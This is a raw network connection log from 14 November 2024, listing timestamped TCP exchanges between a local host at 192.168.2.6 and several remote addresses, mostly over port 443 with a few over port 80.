Nov 14, 2024 17:24:33.762227058 CET	49809	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.762227058 CET	49809	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.762234926 CET	443	49809	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.762245893 CET	443	49809	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.765589952 CET	49813	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.765624046 CET	443	49813	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.765686035 CET	49813	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.766328096 CET	49814	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.766347885 CET	443	49814	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.766407013 CET	49814	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.766659975 CET	49813	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.766675949 CET	443	49813	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.767328024 CET	49814	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.767344952 CET	443	49814	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.795799971 CET	443	49810	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.796169043 CET	49810	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.796186924 CET	443	49810	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.796626091 CET	49810	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.796631098 CET	443	49810	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.817032099 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:33.817059994 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:33.817138910 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:33.818653107 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:33.818670034 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:33.877626896 CET	443	49811	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.878232956 CET	49811	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.878253937 CET	443	49811	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.878735065 CET	49811	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.878741980 CET	443	49811	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.938904047 CET	443	49810	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.939085007 CET	443	49810	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.939157009 CET	49810	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.939291000 CET	49810	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.939310074 CET	443	49810	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.939327002 CET	49810	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.939332962 CET	443	49810	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.942523003 CET	49816	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.942569017 CET	443	49816	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:33.942655087 CET	49816	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.942835093 CET	49816	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:33.942848921 CET	443	49816	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.030066967 CET	443	49811	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.030138969 CET	443	49811	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.030185938 CET	443	49811	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.030231953 CET	49811	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.030255079 CET	49811	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.036161900 CET	49811	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.036180019 CET	443	49811	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.039408922 CET	49817	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.039500952 CET	443	49817	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.039599895 CET	49817	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.039725065 CET	49817	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.039764881 CET	443	49817	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.414944887 CET	443	49812	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.418989897 CET	49812	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.419018984 CET	443	49812	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.423106909 CET	49812	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.423111916 CET	443	49812	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.493088961 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:34.493192911 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:34.493247986 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:34.496208906 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:34.496228933 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:34.508708954 CET	443	49813	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.509669065 CET	49813	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.509685993 CET	443	49813	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.515429974 CET	443	49814	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.519259930 CET	49813	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.519264936 CET	443	49813	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.528069019 CET	49814	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.528103113 CET	443	49814	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.528702021 CET	49814	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.528707981 CET	443	49814	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.558370113 CET	443	49812	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.558723927 CET	443	49812	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.558818102 CET	49812	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.599963903 CET	49812	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.599999905 CET	443	49812	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.600014925 CET	49812	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.600023985 CET	443	49812	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.604795933 CET	49818	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.604842901 CET	443	49818	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.604901075 CET	49818	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.605053902 CET	49818	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.605061054 CET	443	49818	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.622875929 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:34.622965097 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:34.646387100 CET	443	49813	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.646559954 CET	443	49813	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.646646023 CET	49813	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.668991089 CET	443	49814	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.670332909 CET	443	49814	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.670394897 CET	49814	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.697993994 CET	443	49816	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.699080944 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:34.699110985 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:34.699424028 CET	49813	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.699424028 CET	49813	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.699433088 CET	443	49813	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.699441910 CET	443	49813	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.699604034 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:34.703825951 CET	49814	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.703825951 CET	49814	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.703843117 CET	443	49814	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.703856945 CET	443	49814	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.751600981 CET	49816	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.751753092 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:34.799232960 CET	443	49817	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.843636990 CET	49817	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.897748947 CET	49816	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.897761106 CET	443	49816	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.898262024 CET	49816	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.898267984 CET	443	49816	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.899276972 CET	49817	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.899332047 CET	443	49817	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.899723053 CET	49817	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.899736881 CET	443	49817	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.928973913 CET	49819	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.929063082 CET	443	49819	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.929131985 CET	49819	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.930197954 CET	49820	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:34.930238008 CET	443	49820	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:34.930305958 CET	49820	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:34.930972099 CET	49820	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:34.930986881 CET	443	49820	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:34.932574034 CET	49821	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.932594061 CET	443	49821	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.932650089 CET	49821	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.933010101 CET	49819	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.933049917 CET	443	49819	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.933290958 CET	49821	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:34.933304071 CET	443	49821	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:34.967874050 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:35.015328884 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:35.026276112 CET	443	49817	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.026345015 CET	443	49817	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.026412964 CET	49817	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.026722908 CET	49817	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.026767969 CET	443	49817	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.026802063 CET	49817	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.026818991 CET	443	49817	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.027074099 CET	443	49816	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.027132988 CET	443	49816	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.027179003 CET	49816	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.027194023 CET	443	49816	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.027235031 CET	443	49816	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.027281046 CET	49816	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.027395964 CET	49816	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.027411938 CET	443	49816	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.027420044 CET	49816	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.027425051 CET	443	49816	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.030965090 CET	49824	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.030967951 CET	49823	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.030976057 CET	443	49823	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.031006098 CET	443	49824	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.031068087 CET	49824	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.031069040 CET	49823	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.031373978 CET	49823	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.031385899 CET	443	49823	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.031443119 CET	49824	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.031465054 CET	443	49824	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.227539062 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:35.227575064 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:35.227585077 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:35.227602959 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:35.227612972 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:35.227622032 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:35.227683067 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:35.227683067 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:35.227701902 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:35.227761984 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:35.228868961 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:35.228965044 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:35.228976011 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:35.229307890 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:35.229376078 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:35.242614985 CET	49815	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:24:35.242643118 CET	443	49815	20.109.210.53	192.168.2.6
Nov 14, 2024 17:24:35.345045090 CET	443	49818	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.345630884 CET	49818	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.345652103 CET	443	49818	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.346112013 CET	49818	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.346117973 CET	443	49818	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.503175974 CET	443	49818	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.503376007 CET	443	49818	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.503434896 CET	49818	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.503530979 CET	49818	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.503561974 CET	443	49818	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.503576994 CET	49818	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.503585100 CET	443	49818	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.506717920 CET	49826	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.506763935 CET	443	49826	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.506974936 CET	49826	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.506974936 CET	49826	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.507006884 CET	443	49826	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.540828943 CET	443	49820	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:35.542412043 CET	49820	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:35.542412043 CET	49820	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:35.542440891 CET	443	49820	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:35.542622089 CET	443	49820	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:35.544054985 CET	49820	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:35.544054985 CET	49820	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:35.544117928 CET	443	49820	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:35.677448034 CET	443	49819	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.677963972 CET	49819	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.678045034 CET	443	49819	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.678559065 CET	49819	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.678580046 CET	443	49819	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.702585936 CET	443	49821	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.703310966 CET	49821	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.703337908 CET	443	49821	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.703767061 CET	49821	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.703772068 CET	443	49821	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.771974087 CET	443	49823	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.772479057 CET	49823	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.772501945 CET	443	49823	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.772938967 CET	49823	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.772944927 CET	443	49823	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.775625944 CET	443	49824	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.775943995 CET	49824	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.775969028 CET	443	49824	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.776279926 CET	49824	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.776292086 CET	443	49824	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.814660072 CET	443	49819	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.814809084 CET	443	49819	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.814995050 CET	49819	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.815083027 CET	49819	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.815083027 CET	49819	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.815124989 CET	443	49819	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.815156937 CET	443	49819	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.818051100 CET	49827	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.818073988 CET	443	49827	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.818135023 CET	49827	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.818283081 CET	49827	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.818290949 CET	443	49827	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.834424019 CET	443	49821	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.834497929 CET	443	49821	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.834548950 CET	49821	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.834561110 CET	443	49821	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.834602118 CET	443	49821	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.834633112 CET	49821	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.834646940 CET	443	49821	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.834655046 CET	49821	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.834661961 CET	443	49821	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.834672928 CET	49821	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.834676027 CET	443	49821	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.837399006 CET	49828	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.837445021 CET	443	49828	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.837570906 CET	49828	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.837642908 CET	49828	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.837652922 CET	443	49828	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.901921988 CET	443	49823	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.902070045 CET	443	49823	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.902131081 CET	49823	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.902348042 CET	49823	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.902350903 CET	443	49823	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.902359009 CET	49823	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.902362108 CET	443	49823	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.905518055 CET	49829	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.905601025 CET	443	49829	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:35.905680895 CET	49829	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.905864000 CET	49829	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:35.905884027 CET	443	49829	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.031781912 CET	443	49820	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:36.031873941 CET	443	49820	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:36.031987906 CET	49820	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:36.032185078 CET	49820	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:36.032217026 CET	443	49820	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:36.032321930 CET	49820	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:36.032330036 CET	443	49820	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:36.034049034 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:36.039300919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.039412975 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:36.039537907 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:36.045172930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:36.071849108 CET	443	49824	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.071885109 CET	443	49824	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.071934938 CET	443	49824	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.071989059 CET	49824	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.072206974 CET	49824	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.072232962 CET	443	49824	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.072243929 CET	49824	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.072249889 CET	443	49824	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.075520992 CET	49831	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.075539112 CET	443	49831	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.075594902 CET	49831	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.075793982 CET	49831	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.075804949 CET	443	49831	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.242202997 CET	443	49826	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.242849112 CET	49826	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.242875099 CET	443	49826	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.243350983 CET	49826	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.243355989 CET	443	49826	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.376218081 CET	443	49826	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.376363993 CET	443	49826	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.376501083 CET	49826	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.376629114 CET	49826	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.376646996 CET	443	49826	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.376687050 CET	49826	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.376693010 CET	443	49826	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.379859924 CET	49833	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.379946947 CET	443	49833	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.380253077 CET	49833	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.380253077 CET	49833	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.380337000 CET	443	49833	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.548422098 CET	443	49827	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.548964024 CET	49827	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.548985958 CET	443	49827	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.549562931 CET	49827	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.549570084 CET	443	49827	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.575231075 CET	443	49828	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.575742006 CET	49828	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.575769901 CET	443	49828	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.576266050 CET	49828	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.576276064 CET	443	49828	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.638436079 CET	443	49829	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.639007092 CET	49829	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.639019966 CET	443	49829	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.639504910 CET	49829	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.639508963 CET	443	49829	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.677634954 CET	443	49827	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.678100109 CET	443	49827	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.678164959 CET	49827	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.678214073 CET	49827	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.678236961 CET	443	49827	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.678256035 CET	49827	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.678262949 CET	443	49827	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.681518078 CET	49834	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.681565046 CET	443	49834	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.682260036 CET	49834	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.682420015 CET	49834	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.682427883 CET	443	49834	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.707560062 CET	443	49828	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.707706928 CET	443	49828	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.707763910 CET	49828	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.707824945 CET	49828	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.707851887 CET	443	49828	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.707861900 CET	49828	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:36.707866907 CET	443	49828	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:36.711116076 CET	49835	443	192.168.2.6	13.107.246.45
